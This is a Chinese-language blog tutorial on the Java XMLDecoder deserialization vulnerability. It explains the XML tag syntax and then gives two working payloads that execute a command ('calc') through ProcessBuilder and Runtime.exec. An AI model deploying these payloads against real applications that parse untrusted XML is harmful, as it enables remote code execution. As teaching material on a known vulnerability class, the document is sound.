XMLDecoder反序列化漏洞

XML 漏洞

Word count: 778Reading time: 3 min

 2021/06/27   Share

XMLDecoder和XMLEncoder

XMLEncoder类是互补替代ObjectOutputStream，并且可以以相同的方式用于产生的文本表示的JavaBean组件,而XMLDecoder从XMLEncoder生成的xml文档中获取JavaBean组件

XMLEncoder用法

public class test {
    public static void main(String[] args) throws Exception{
        XMLEncoder a = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("test.xml")));
        String[] b = {"123"};
        a.writeObject(b);
        a.close();
    }
}

生成如下文件test.xml
20210627220340

XMLDecoder用法

public class test {
    public static void main(String[] args) throws Exception{
        XMLDecoder j = new XMLDecoder(new BufferedInputStream(new FileInputStream("test.xml")));
        Object result = j.readObject();
        System.out.println(result);
        j.close();
    }
}

控制台输出对象如下
20210627220521

标签说明

string标签

test,test 字符串的在XML中表示方式为<string>test.test</string>

object标签

通过

1 2	<object class="java.lang.Runtime" method="getRuntime"> </object>

void标签

通过 void 标签表示函数调用、赋值等操作， method 属性指定具体的方法名称。 JButton b = new JButton();b.setText("Hello, world"); 对应的XML文档:

<object class="javax.swing.JButton">
    <void method="setText">
    <string>Hello,xml</string>
    </void>
</object>

array标签

通过 array 标签表示数组， class 属性指定具体类，内部 void 标签的 index 属性表示根据指定数组索引赋值。String[] s = new String[3];s[1] = “Hello,xml”; 对应的XML文档:

<array class="java.lang.String" length="3">
     <void index="1">
    <string>Hello,xml</string>
  </void>
</array>

XMLDecoder反序列化漏洞

简介

根据XMLDecoder解析XML并且运行代码调用方法的机制，我们可以构造恶意XML让其解析并且执行

利用

这里调用ProcesserBuilder("cmd").start()执行命令,构造xml如下

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_291" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"></void>
    </object>
</java>

也可以用Runtime.getRuntime().exec()执行命令

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_291" class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        </void>
    </object>
</java>